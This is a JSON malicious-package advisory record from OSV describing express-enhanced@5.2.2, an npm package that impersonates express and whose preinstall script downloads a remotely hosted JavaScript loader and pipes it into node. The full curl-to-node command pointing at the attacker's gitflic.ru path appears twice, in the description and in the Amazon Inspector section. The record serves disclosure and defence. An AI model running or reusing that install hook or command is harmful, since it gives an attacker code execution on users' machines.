{"id":"MAL-2026-17489","revision":"718cf5da408d49379236d9e36eec34d7","records":[{"revision":"718cf5da408d49379236d9e36eec34d7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17489","aliases":[],"title":"Malicious code in express-enhanced (npm)","description":"express-enhanced@5.2.2 impersonates express (it copies express's package metadata, including the description \"Fast, unopinionated, minimalist web framework\" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-enhanced and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)\nexpress-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.\n","state":0,"publishedAt":"2026-10-03T05:14:21+00:00","modifiedAt":"2026-10-05T23:00:07.1638018+00:00","affected":[{"ecosystem":"npm","name":"express-enhanced","ranges":[],"versions":["5.2.2"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/express-enhanced/v/5.2.2","https://www.npmjs.com/package/express-enhanced"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17489","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17489","identifiers":["MAL-2026-17489"]},"retained":false,"historicalAffected":[]}],"coverage":[]}